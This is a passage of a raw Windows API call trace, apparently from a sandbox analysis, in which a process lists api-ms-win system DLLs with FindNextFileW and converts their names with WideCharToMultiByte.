ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xd3c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xd3c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd3c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xd3c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd3c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.990] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xd3c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xd3c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0193.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0193.991] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd3c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.992] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0193.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd3c288, cbMultiByte=36, 